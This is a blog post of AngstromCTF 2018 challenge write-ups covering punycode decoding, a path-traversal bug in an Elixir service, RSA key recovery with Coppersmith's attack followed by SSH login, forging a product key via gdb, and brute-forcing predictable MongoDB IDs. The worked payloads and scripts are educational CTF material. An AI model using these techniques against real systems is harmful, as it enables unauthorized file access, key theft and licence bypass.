The id0.Blog

AngstromCTF 2018 Writeups

Hello all, I honestly have no idea if I should start making CTF writeups, but here are my writeups for AngstromCTF 2018.

Weird Message

100 points, Misc

This is an interesting problem. The hint, "xn--", suggests that the string is encoded in punycode. Let's start out with a simple nodejs library. The string decodes well. Looks like all we need to do is decode the string many times. A simple loop can do that. But let me test again, just to be sure...
> punycode.decode('tf{und!_rl_mgl_fr_umt}-... snip ...-еЬ883Ь99ufаеnm449уеаЬ2821соdјgа346сqах642іса6417һ1а492іfо3схk06аnаlf');
RangeError: Overflow: input needs wider integers to process
    at error (punycode.js:42:8)
    at Object.decode (punycode.js:241:5)
Oh wait, what's this? "Input needs wider integers to process". Oh wait... Upon closer inspection, that 'b' looks strange. Let's put it in Python.
>>> 'еЬ883Ь99ufаеnm449уеаЬ2821соdјgа346сqах642іса6417һ1а492іfо3схk06аnаlf'
Well, that's a problem. Now we need to decode the string and to replace the unicode characters. Let's create a Python script with the same loop we were planning to write before, along with a dict to store known unicode characters and their translations. We search through the dict to replace the known characters on every decode, and prompt the user for any unknown characters.
[email protected]:/volatile/downloads/CTF/done$ cat

import string, codecs
knowns = list(string.printable) + ['\xd0\xac']
translations = {'\xd0\xac': 'b'}

mystr = b'tf{und!_rl_mgl_fr_umt}-... snip ...-ek024bdaj445tfahedfib941zkaf0071cwa659nhafn033ic6ksa1976gla153ick36c'
while True:
	mystru = str(mystr, 'punycode')
	unknowns = filter(lambda x: x not in knowns, mystru)
	for char in unknowns:
		translations[char] = input("Translation for %s? " % char).strip('\n')
		knowns += char
	for key, value in translations.items():
		mystru = mystru.replace(key, value);
	print("Current string: %s" % mystru);
	mystr = bytearray(mystru, 'ASCII');
Now all we need to do is to run the script, feeding it the input it needs.
[email protected]:/volatile/downloads/CTF/done$ python
Translation for е? e
Translation for Ь? b
Translation for а? a
Translation for у? y
Translation for с? c
Translation for о? o
Translation for ј? j
Translation for х? x
Translation for і? i
Translation for һ? h
Current string: tf{und!_rl_mgl_fr_umt}-
... snip ...
Current string: tf{und!_rl_mgl_fr_umt}-fxre3fk4kdcgc3ykabg3cjjpgk6eta70fia3c757aha
Current string: actf{punycode!_replace_homoglyphs_before_submit}
Traceback (most recent call last):
  File "/usr/lib/python3.6/encodings/", line 207, in decode
    res = punycode_decode(input, errors)
  File "/usr/lib/python3.6/encodings/", line 194, in punycode_decode
    return insertion_sort(base, extended, errors)
  File "/usr/lib/python3.6/encodings/", line 165, in insertion_sort
    bias, errors)
  File "/usr/lib/python3.6/encodings/", line 146, in decode_generalized_number
    % extended[extpos])
UnicodeError: Invalid extended code point 'P'

The above exception was the direct cause of the following exception:

Traceback (most recent call last):
  File "", line 9, in 
    mystru = str(mystr, 'punycode')
UnicodeError: decoding with 'punycode' codec failed (UnicodeError: Invalid extended code point 'P')
Oh no, what's this; a crash? Oh look, there's the flag!

Paste Palooza

150 points, Misc

This is a relatively simple problem. While the syntax of Elixir seems unfamiliar, by taking an input and handling it as a simple string concatentation with seemingly no path protection, we can already tell that it is a LFI. However, it seems like the flag is not a text file, so we need some other way to terminate the string early. Adding a null byte to the end doesn't work like it would in PHP. Let's download the source and run a local copy.
However, we should also get ourselves some output so we can understand what the program is doing. Let's add a command to print the result to the console.
  def access(filename) do
    unsafe = "pastes/" <> filename <> ".txt"
    path = filter(unsafe <><<0>>, "", String.length(unsafe))
    case path do
      {:ok, content} -> content
      {:error, reason} -> "File not found.\n"
Running the application, we note that all non-printable characters seem to be remove. By reading the source code more in-depth, we can find that there is a filter function that filters out certain characters, including null bytes. However, it doesn't seem to filter out periods and slashes, so all we need to do is to remove the .txt at the end.
  def filter(<< head, tail :: binary >>, acc, n) do
    if n == 0 do 
      n = n - 1
      if head < 33 or head > 126 do
        filter(tail, acc, n)
        filter(tail, acc <> <<head>>, n)
Let's check how it handles UTF-8 characters! This is the first one I found: é. Let's run the script again, just this time, with this added.
[email protected]:/volatile/downloads/redacted/lib$ nc localhost 3001
Welcome to Paste Palooza!
Currently, only the file access feature is available.
Access a file by entering its name: testé
File not found.
[email protected]:/volatile/downloads/redacted$ iex -S mix
Erlang/OTP 20 [erts-9.2] [source] [64-bit] [smp:12:12] [ds:12:12:10] [async-threads:10] [hipe] [kernel-poll:false]

Interactive Elixir (1.6.1) - press Ctrl+C to exit (type h() ENTER for help)

01:28:41.813 [info]  Accepting connections on port 3001
iex(1)> pastes/test.tx
Oh wait, what's this? It's missing a letter? That's strange. But because this is a two-byte UTF-8 character, it looks like the program is iterating through the length of the string in characters while iterating through each byte of the string. The filter even conveniently removed the é character! Now all we need to do is to combine our LFI with four é's!
[email protected]:/volatile/downloads/redacted/lib$ nc localhost 3001
Welcome to Paste Palooza!
Currently, only the file access feature is available.
Access a file by entering its name: ../mix.exséééé
defmodule PastePalooza.Mixfile do
  use Mix.Project

  def project do
      app: :pastepalooza,
      version: "0.1.0",
      elixir: "~> 1.5",
      start_permanent: Mix.env == :prod,
      deps: deps(),
      flag: "REDACTED"
... snip ...
There! And the same exploit works on the server.


150 points, Crypto

In this challenge, we get part of an SSH private key, along with the public key, and are tasked with finding the rest of the private key. Let's first generate another SSH public key of the same length to compare, then dump it with openssl.
[email protected]:/volatile/downloads/CTF/done/ssh$ ssh-keygen -t rsa -b 2048 -f id_rsa_2
[email protected]:/volatile/downloads/CTF/done/ssh$ openssl rsa -text -noout < id_rsa_2
Private-Key: (2048 bit)
... snip ...
... snip ...
Once we have the dump of the private key, we can decode the private key from base64 and encode it with hex using Python. By piping this key into grep, we can find the DER metadata that marks the start of each field.
... 0q3SS8t3WhEQA2prE56OysP/fRy6JErNJdmu8IxHYushvpii7GWJDBtGlxVfUNda
... B0PCVaanMgk4/BNyhGyD9BCpcu/cLA5nn7j3icKpc75T8NDJYgdNNMxlkk+2STu5
... 8FzK6y5QegV8eNpAELS5/RPFEMpI5hTJ/h69uBYHGSvb1lk6MDrv//VNK8taadk3
... ... snip ...
... FuSZvwKBgQCj/CsNFoYpRmfVmf71czHGWcH6NBx6Q7jIQPnfEir9+7aqcnowyUri
... dQxBqAD50WFnyfJ3BCm84rhCQbx1Xj5eyB08BmZcmg6B1sw0npOrdAeL4LbGOxNi
... 5pE7AIzc7vL4nenoEgGRLvu1Ei46IYLbtA2rkXyYHoTQ6izi9LtWsQ=='''.decode('base64').encode('hex')
'308204a40201000282010 ... snip ... c981e84d0ea2ce2f4bb56b1'
>>> exit();
[email protected]:~$ echo '308204a40201000282010 ... snip ... c981e84d0ea2ce2f4bb56b1' | grep 00f33f # Note: 00f33f is the start of prime2 (q)
308204a4020... snip ...cfd3978c5902818100f33f... snip ...d0ea2ce2f4bb56b1
Here, we see that the start of q is marked by the DER code '028181'. We now decode what we have of the challenge private key in Python, and find that q starts at the middle.
>>> '''YC2/ZTbmSZFL9t5Em+ic2ayw0nNUSI6XO7+3tcT9TABzh94t9YLhiDcCgYEA0LFZ
... OUTgvmnWAkwGSo/6huQOu/7VmsM7OBdFntgotOJXALXFqCeT2PMXyWVc9/6ObUZj
... z9LQUlT6mnzYwFrX4mPPOTY5nvCyjepQlSDA7w49yaRhXKCFRHmEieeFJqzrZoQG'''.decode('base64').encode('hex')
'602dbf6536e649914bf6de449be89cd9acb0d27354488e973bbfb7b5c4fd4c007387de2df582e1883702818100d0b1593944e0be69d6024c064a8... snip ...544798489e78526aceb668406'
However, we only have part of q. Oh no! What do we do now? Fortunately, there is an attack on RSA called the coppersmith's attack, which will find an RSA prime with the high bits known, and we can find a script to exploit it online.
First, though, we have to approximate the rest of the prime. We extend the hex string to the same length as the prime dumped in step 1, then replace all the unknown characters with f's. We decode the prime from hex to decimal using Python so that we can pass it into the script as qbar.
>>> qbar = int('00d0b1593944e0be69d6024c064a8ffa86e40ebbfed59ac33b3817459ed828b4e25700b5c5a82793d8f317c9655cf7fe8e6d4663cfd2d05254fa9a7cd8c05ad7e263cf3936399ef0b28dea509520c0ef0e3dc9a4615ca08544798489e78526aceb668406??????????????????????????????????????????????????????????'.replace('?', 'f'), 16)
>>> qbar
We also need to pass in N. This is a public number, and can be obtained from the public key. We encode the public key in PEM format, then dump its contents using openssl.
[email protected]:/volatile/downloads/CTF/done/ssh$ ssh-keygen -f -e -m pem >
[email protected]:/volatile/downloads/CTF/done/ssh$ openssl asn1parse -inform PEM <
    0:d=0  hl=4 l= 266 cons: SEQUENCE          
    4:d=1  hl=4 l= 257 prim: INTEGER           :BE5D958B09B2291CF0BD36511C9155E229F8AE8DCCAEE... snip ...3D4CA40675753DA896AE5FCFA01593A7C84D518C503C0AEE581
  265:d=1  hl=2 l=   3 prim: INTEGER           :010001
The number on the second line seems to be N, and the third line seems to be e. We convert N to an integer in much the same way as we did q, then copy over the functions from our downloaded sage script to another sage script, tweaking the input slightly, passing in the prime.

import time

debug = True

... snip ...

N = 24031426009258585415105324998970701655451460140660105245278171650878655493832570145520528674334486553204442446050601099312855866652174529838264749199630546148628121934849433734634042641132125007923761347962489974645002007692970466377879714666376153284839287915500514317384370204031902874952028757660051907008749997171513281852774870171717680368772057416440542176768196388565781131705261355090923059616730128088291078728643698870108958810166348296696671079733506691833466453747784418214869999275238860856569886383373280256273665811649081849561360513128165462438255912304945446909477593597880634673262567888241113884033L;

# qbar is q + [hidden_size_random]
qbar = 146549045227354172989110651205310632574067392372993711861623526130946979713469625772410411197033006823693645223316947254702263484103463390279967082549781844195965622071604103417650285219901124684816890970225510506869249766243257198851929423415614722596274340364744833427253274910457484375928631423371701125119L;

F.<x> = PolynomialRing(Zmod(N), implementation='NTL');
pol = x - qbar
dd =

beta = 0.5                             # we should have q >= N^beta
epsilon = beta / 7                     # <= beta/7
mm = ceil(beta**2 / (dd * epsilon))    # optimized
tt = floor(dd * mm * ((1/beta) - 1))   # optimized
XX = ceil(N**((beta**2/dd) - epsilon)) # we should have |diff| < X

# Coppersmith
start_time = time.time()
roots = coppersmith_howgrave_univariate(pol, N, beta, mm, tt, XX)

# output
print "\n# Solutions"
print "we found:", roots
print("in: %s seconds " % (time.time() - start_time))
We run the script.
[email protected]:/volatile/downloads/CTF/done/ssh$ sage factor.sage

# Optimized t?

we want X^(n-1) < N^(beta*m) so that each vector is helpful
* X^(n-1) =  2.99208845147604e770
* N^(beta*m) =  5.77509436038470e1232
* X^(n-1) < N^(beta*m) 

# X bound respected?

we want X <= N^(((2*beta*m)/(n-1)) - ((delta*m*(m+1))/(n*(n-1)))) / 2 = M
* X = 116948955357807284362464002404210267171595354453182104348114378608437500850390635966552837990924478921966616576
* M = 6.03344864575480e131
* X <= M 

# Solutions possible?

we can find a solution if 2^((n - 1)/4) * det(L)^(1/n) < N^(beta*m) / sqrt(n)
* 2^((n - 1)/4) * det(L)^(1/n) =  1.74086115330288e1156
* N^(beta*m) / sqrt(n) =  2.04180419211010e1232
* 2^((n - 1)/4) * det(L)^(1/n) < N^(beta*m) / sqrt(n) 

# Note that no solutions will be found _for sure_ if you don't respect:
* |root| < X 
* b >= modulus^beta

00 X 0 0 0 0 0 0 0 ~
01 X X 0 0 0 0 0 0 
02 X X X 0 0 0 0 0 
03 X X X X 0 0 0 0 
04 X X X X X 0 0 0 
05 0 X X X X X 0 0 
06 0 0 X X X X X 0 
07 0 0 0 X X X X X 
potential roots: [(1424632288941771831337603800308463796316066632150831619174778883066872, 1)]

# Solutions
we found: []
in: 0.0395460128784 seconds 
Oh no, no roots? That can't be possible. Let's look through the script. "we should have q >= N^beta". Maybe we can try decreasing beta.
[email protected]:/volatile/downloads/CTF/done/ssh$ sage factor.sage

# Optimized t?

we want X^(n-1) < N^(beta*m) so that each vector is helpful
* X^(n-1) =  2.48310665964803e380
* N^(beta*m) =  4.53874152295553e739
* X^(n-1) < N^(beta*m) 

# X bound respected?

we want X <= N^(((2*beta*m)/(n-1)) - ((delta*m*(m+1))/(n*(n-1)))) / 2 = M
* X = 2507066742448959627281395915407054886433403004210569654409625600
* M = 1.38831388214684e70
* X <= M 

# Solutions possible?

we can find a solution if 2^((n - 1)/4) * det(L)^(1/n) < N^(beta*m) / sqrt(n)
* 2^((n - 1)/4) * det(L)^(1/n) =  9.44985502193256e718
* N^(beta*m) / sqrt(n) =  1.71548304784898e739
* 2^((n - 1)/4) * det(L)^(1/n) < N^(beta*m) / sqrt(n) 

# Note that no solutions will be found _for sure_ if you don't respect:
* |root| < X 
* b >= modulus^beta

00 X 0 0 0 0 0 0 ~
01 X X 0 0 0 0 0 
02 X X X 0 0 0 0 
03 X X X X 0 0 0 
04 0 X X X X 0 0 
05 0 0 X X X X 0 
06 0 0 0 X X X X 
potential roots: [(1424632288941771831337603800308463796316066632150831619174778883066872, 1)]

# Solutions
we found: [1424632288941771831337603800308463796316066632150831619174778883066872]
in: 0.0262150764465 seconds 
There we go! Now we return to the Python terminal from earlier and subtract this root from qbar to get q. Since N = pq, we can verify that this is indeed q if N%q == 0, and we can get p by using p = N/q.
>>> q = qbar-1424632288941771831337603800308463796316066632150831619174778883066872L
>>> q
>>> N%q
>>> p = N/q
>>> p
Now, we have both p and q. All we need to do is combine these into a DER file. Let's use rsatool to do this.
[email protected]:/volatile/downloads/rsatool-master$ python2 -e 65537 -p 16398213971286241... snip ...97445630429239 -q 14654904522735417298911... snip ...97012248592818058247 -f PEM -o id_rsa
Using (p, q) to initialise RSA instance

n =

e = 65537 (0x10001)

d =

p =

q =

Saving PEM as id_rsa
Great! Now all we need to do is chmod the file and log in.
[email protected]:/volatile/downloads/rsatool-master$ chmod 600 id_rsa
[email protected]:/volatile/downloads/rsatool-master$ ssh -i id_rsa [email protected] -p 3004
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic x86_64)

 * Documentation:
 * Management:
 * Support:
Connection to closed.
There's the flag!

Product Key

200 points, Reverse Engineering

This is a relatively standard reverse engineering problem. I am not adept enough at Assembler to reverse engineer this in a quick enough time, so let's use a decompiler. Most free decompilers don't support x64, but I found one which does, Snowman.

Wow! That's a lot of very confusing code! For one, what are the fun functions anyway? For another, why are we casting pointers to longs, doing some simple arithmetic, then casting them back to pointers? Well, let's go through the functions.

int64_t fun_400680(void* rdi, void* rsi, void* rdx, uint64_t rcx) {
    goto __stack_chk_fail;

int64_t puts = 0x400666;

void fun_400660(void* rdi, void* rsi, void* rdx) {
    goto puts;

int64_t strtok = 0x4006e6;

int64_t fun_4006e0(void* rdi, void* rsi) {
    goto strtok;

int64_t strlen = 0x400676;

int32_t fun_400670(struct s0* rdi, void* rsi) {
    goto strlen;

int64_t printf = 0x400696;

void fun_400690(int64_t rdi, int64_t rsi, int64_t rdx) {
    goto printf;
Looks like these fun functions are all just links to functions at libc. We can do a find-and-replace for each of them, then delete their declarations.

void swapArr(uint32_t* rdi, int32_t esi, int32_t edx, void* rcx) {
    rdi[esi] = rdi[edx] ^ rdi[esi];
    rdi[edx] = rdi[esi] ^ rdi[edx];
    rdi[esi] = rdi[edx] ^ rdi[esi];
swapArr seems to swap rdi[edx] with rdi[esi] using xor. The code is pretty self-explanitory.

int32_t sumChars(void* rdi, int32_t esi, int32_t edx, int32_t ecx, ...) {
    void* v5;
    int32_t v6;
    int32_t v7;
    int32_t v8;
    int32_t v9;
    uint32_t eax10;

    v5 = rdi;
    v6 = edx;
    v7 = ecx;
    v8 = 0;
    v9 = esi;
    while (v9 < v6) {
        eax10 = *reinterpret_cast<unsigned char*>(reinterpret_cast<int64_t>(v5) + v9);
        v8 = v8 + *reinterpret_cast<signed char*>(&eax10);
        v9 = v9 + v7;
    return v8;
sunChars seems to iterate through the array rdi. It can be simplified to this C code:

int sumChars(char* str, int start, int end, int step, ...) {
    int total=0;
    int i=start;

    while (i < end) {
        total += str[i];
        i += step;
    return total;
Now onto the hard part. After looking through the function verify_key, we notice that the inputs that we give are tokenized into integers and placed into an array. I renamed this array ints.
We also notice that there must be exactly 6 integers in the string.

    stringstart = strtok(rdi11, "-");
    while (stringstart) {
        rbx14 = v9;
        v9 = ((char*)rbx14)[1];
        ints[rbx14] = atoi(stringstart, "-");
        *reinterpret_cast<int*>(&rsi10) = reinterpret_cast<int>("-");
        *reinterpret_cast<int*>(reinterpret_cast<long>(&rsi10) + 4) = 0;
        *reinterpret_cast<int*>(&rdi11) = 0;
        *reinterpret_cast<int*>(reinterpret_cast<long>(&rdi11) + 4) = 0;
        stringstart = strtok(rdi11, "-");
    if (v9 == 6) { // v9 is number of dashes and also number of integers in array that string has been converted to
Therefore, the only valid inputs are sequences of 6 integers. After this, the program does some handling of the email and name inputs (that I have renamed corresponding to the input they carry), but doesn't seem to touch ints.

        while (v26 <= 31) {
            mail[v26] ^= 5; //v6
            name[v26] ^= 15; //v5
        v29 = 0;
        while (v29 <= 5) {
            eax31 = sumChars(mail, 0, 32, v29+2); // 1526, 1046, 787, 691, 595, 335
            eax34 = sumChars(mail, v29+1, 32, v29+2); // 1492, 1042, 641, 612, 528, 388
            ecx35 = eax31 * eax34;
            ints[v29] -= (ecx35 - ((__intrinsic() >> 12) - (ecx35 >> 31)) * 0x2710);
            eax36 = sumChars(name, 0, 32, 2); // 1336 (always)
            *reinterpret_cast<int*>(&rcx24) = 2;
            *reinterpret_cast<int*>(reinterpret_cast<long>(&rcx24) + 4) = 0;
            eax37 = sumChars(name, 1, 32, 2); // 1310 (always)
            *reinterpret_cast<int*>(&rax38) = eax36 - eax37;
            *reinterpret_cast<int*>(reinterpret_cast<long>(&rax38) + 4) = 0;
            ints[v29] += static_cast<int>(rax38 * 4);
We then move onto the part where ints is handled. It looks like the integer inputs are scambled. I put comments to tell which sequence number ends up where.

        int* ints = (long)rbp4-0x70; // Array of length 6
        swapArr(ints, 3, 4, rcx24); // [0 1 2 4 3 5]
        swapArr(ints, 2, 5, rcx24); // [0 1 5 4 3 2]
        swapArr(ints, 1, 5, rcx24); // [0 2 5 4 3 1]
        swapArr(ints, 2, 3, rcx24); // [0 2 4 5 3 1]
        swapArr(ints, 0, 5, rcx24); // [1 2 4 5 3 0]
        swapArr(ints, 4, 5, rcx24); // [1 2 4 5 0 3]
We go through some more code, but it seems that both ints and the array of integers generated by the email and name don't mix at all, and are only shifted linearly. Armed with this knowledge, we can fire up gdb and find our ideal input.
We find the place in the assembler dump which corresponds with the verification loop at the end of the C file, then enter its address as a breakpoint.
C code that verifies ints == ints2:

        v52 = 1;
        v53 = 0;
        while (v53 <= 5) { // VERIFY
            if (ints2[v53] != ints[v53]) {
                v52 = 0;
        *reinterpret_cast<uint*>(&rax54) = v52;
Assembler dump that hints at a similar function:
  400fa8:	8b 54 85 90          	mov    edx,DWORD PTR [rbp+rax*4-0x70]
  400fac:	8b 85 5c ff ff ff    	mov    eax,DWORD PTR [rbp-0xa4]
  400fb2:	48 98                	cdqe   
  400fb4:	8b 44 85 d0          	mov    eax,DWORD PTR [rbp+rax*4-0x30]
  400fb8:	39 c2                	cmp    edx,eax
  400fba:	74 07                	je     400fc3 <verify_key+0x691>
  400fbc:	c6 85 37 ff ff ff 00 	mov    BYTE PTR [rbp-0xc9],0x0
  400fc3:	83 85 5c ff ff ff 01 	add    DWORD PTR [rbp-0xa4],0x1
  400fca:	83 bd 5c ff ff ff 05 	cmp    DWORD PTR [rbp-0xa4],0x5
  400fd1:	7e cd                	jle    400fa0 <verify_key+0x66e>
  400fd3:	0f b6 85 37 ff ff ff 	movzx  eax,BYTE PTR [rbp-0xc9]
  400fda:	48 8b 5d e8          	mov    rbx,QWORD PTR [rbp-0x18]
  400fde:	64 48 33 1c 25 28 00 	xor    rbx,QWORD PTR fs:0x28
From the assembly dump above, we see that the two arrays, ints and ints2, are located at $rbp-0x70 and $rbp-0x30, respectively.
Now, all we need to do is run the program with the correct inputs for email and name, and dummy inputs for the product key.
(gdb) break *0x400fb8
Breakpoint 1 at 0x400fb8
(gdb) run
Starting program: /volatile/downloads/activate/activate 
Name: Artemis Tosini
Email: [email protected]
Product key: 0000-0000-0000-0000-0000-0000

Breakpoint 1, 0x0000000000400fb8 in verify_key ()
Let's examine the memory.
(gdb) print $rbp
$1 = (void *) 0x7fffffffe1e0
(gdb) x/6d $rbp-0x30
0x7fffffffe1b0:	2040	6016	2964	504
0x7fffffffe1c0:	2891	4600
(gdb) x/6d $rbp-0x70
0x7fffffffe170:	-4064	1405	1721	-4195
0x7fffffffe180:	-1023	2889
From this, and the swapArr calls earlier, we can deduce how ints is calculated, and make it equal to ints2.
Ints is an array equal to (-4064+EFGH 1405+IIJK 1721+PQRS -4195+TUVW -1023+ABCD 2889+LMNO) at this time.
We find the differences from ints2, then plug this into the input.
Python 2.7.14 (default, Jan  5 2018, 10:41:29) 
[GCC 7.2.1 20171224] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> efgh = 2040--4064
>>> iijk = 6016-1405
>>> pqrs = 2964-1721
>>> tuvw = 504--4195
>>> abcd = 2891--1023
>>> lmno = 4600-2889
>>> print "%s-%s-%s-%s-%s-%s" % (abcd, efgh, iijk, lmno, pqrs, tuvw)
Let's test out our new product key!
[email protected]:/volatile/downloads/activate$ ./activate
Name: Artemis Tosini
Email: [email protected]
Product key: 3914-6104-4611-1711-1243-4699
Windows has been activated
And that works as the flag.

The Best Website

230 points, Web

In this problem, all we seem to see at first is a static website. We go into the HTML source to see if we can get any clues.

It looks like there are a few Javascript files that are used on the page. Let's look at their source codes to see if we can gather any information.
The first two Javascript files are minified and hard to read, but the last Javascript file seems very interesting. It shows an Ajax GET request near the end, and seems to request for a few "IDs".

	Ion by TEMPLATED @templatedco
	Released for free under the Creative Commons Attribution 3.0 license (

ids = ["5aad412be07e1e001cfce6d2","5aad412be07e1e001cfce6d3","5aad412be07e1e001cfce6d4"];

(function($) {

		reset: 'full',
		breakpoints: {

			// Global.
				global: {
					range: '*',
					href: 'css/style.css',
					containers: 1400,
					grid: {
						gutters: {
							vertical: '4em',
							horizontal: 0

			// XLarge.
				xlarge: {
					range: '-1680',
					href: 'css/style-xlarge.css',
					containers: 1200

			// Large.
				large: {
					range: '-1280',
					href: 'css/style-large.css',
					containers: 960,
					grid: {
						gutters: {
							vertical: '2.5em'
					viewport: {
						scalable: false

			// Medium.
				medium: {
					range: '-980',
					href: 'css/style-medium.css',
					containers: '90%',
					grid: {
						collapse: 1

			// Small.
				small: {
					range: '-736',
					href: 'css/style-small.css',
					containers: '90%',
					grid: {
						gutters: {
							vertical: '1.25em'

			// XSmall.
				xsmall: {
					range: '-480',
					href: 'css/style-xsmall.css',
					grid: {
						collapse: 2

		plugins: {
			layers: {

				// Config.
					config: {
						transform: true

				// Navigation Panel.
					navPanel: {
						animation: 'pushX',
						breakpoints: 'medium',
						clickToHide: true,
						height: '100%',
						hidden: true,
						html: '<div data-action="moveElement" data-args="nav"></div>',
						orientation: 'vertical',
						position: 'top-left',
						side: 'left',
						width: 250

				// Navigation Button.
					navButton: {
						breakpoints: 'medium',
						height: '4em',
						html: '<span class="toggle" data-action="toggleLayer" data-args="navPanel"></span>',
						position: 'top-left',
						side: 'top',
						width: '6em'


	$(function() {

			url: "/boxes?ids="+ids.join(","),
			success: function(data) {
				data = JSON.parse(data)


By doing a curl -v on the server, we notice that the server runs NodeJS Express.
[email protected]:~$ curl -v > /dev/null
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0*   Trying
* Connected to ( port 7667 (#0)
> GET / HTTP/1.1
> Host:
> User-Agent: curl/7.58.0
> Accept: */*
< HTTP/1.1 200 OK
< X-Powered-By: Express
< Accept-Ranges: bytes
< Cache-Control: public, max-age=0
< Last-Modified: Fri, 16 Mar 2018 22:40:27 GMT
< ETag: W/"19df-16230f8af78"
< Content-Type: text/html; charset=UTF-8
< Content-Length: 6623
< Date: Wed, 28 Mar 2018 23:55:47 GMT
< Connection: keep-alive
{ [1153 bytes data]
100  6623  100  6623    0     0  33281      0 --:--:-- --:--:-- --:--:-- 33281
* Connection #0 to host left intact
From a simple web search, we can determine that the most common database integrations for NodeJS Express are MySQL and MongoDB. However, based on the structure of the IDs from the Javascript source, we have reason to believe that the server uses MongoDB and not MySQL.
Now, we must find how the "/boxes" page works. Let's send a request.
[email protected]:~$ curl
Well, that didn't work. Let's try specifying the "ids" parameter.
[email protected]:~$ curl
number of ids does not equal 3
Okay, so we need exactly three IDs. Let's try again.
[email protected]:~$ curl,2,3
There we go. We seem to get a JSON reply where "boxes" is equal to the ids requested, and we can specify any IDs we want. Let's check how MongoDB creates its ids.
As we can see from this thread, MongoDB's ids are not random at all! Through the previous IDs, we already know the 3-byte machine identifier, the 2-byte process id, and the start of the 3-byte counter. However, we still don't know the time in which the item was added... or do we? Looking back at the HTML source, we can see that there is a '/log.txt' that includes notes on past developer actions.

The content of the /log.txt file is below:
Sat Aug 10 2017 10:23:17 GMT-0400 (EDT) - Initial website
Sat Aug 10 2017 14:54:07 GMT-0400 (EDT) - Database integration
Sat Aug 11 2017 14:08:54 GMT-0400 (EDT) - Make some changes to the text
Sat Mar 17 2018 16:24:17 GMT+0000 (UTC) - Add super secret flag to database
Now we have our timestamp! Through some more web searching, we notice that the first four MongoDB timestamp bytes can be calculated with "Math.floor(date / 1000).toString(16)". We take our time, conveniently in UTC, and convert it to the first four MongoDB bytes.
> var date = Date.parse('Sat Mar 17 2018 16:24:17 GMT+0000')
> Math.floor(date / 1000).toString(16)
Now, we combine our timestamp with the machine identifier and process ID. However, the hint does say that the database is "huge", and therefore, we aren't sure how many entries have been added before the flag. However, let's assume (for now) that it affects less than 1 byte of the counter. We create a Python script to bruteforce entries meeting our requirements.

import sys;
import urllib2;
import itertools;

templateString = '';
unknownChars = 2;

sys.stderr.write("Tried ___");
for i in itertools.permutations('0123456789abcdef', unknownChars):
	if int(''.join(i), 16) >= int('d0', 16):
		response = urllib2.urlopen(',0,5aad4131e07e1e001cfce6' + ''.join(i))
		html =
		if '[null,null,null]' not in html:
			print '\n'+html;
		sys.stderr.write("\rTried %s" % ''.join(i));
Let's run it!
[email protected]:~/Downloads$ python2
Tried d4_
Tried e1^C
And there's our flag! Looks like we didn't really need to bruteforce the counter after all. Oops.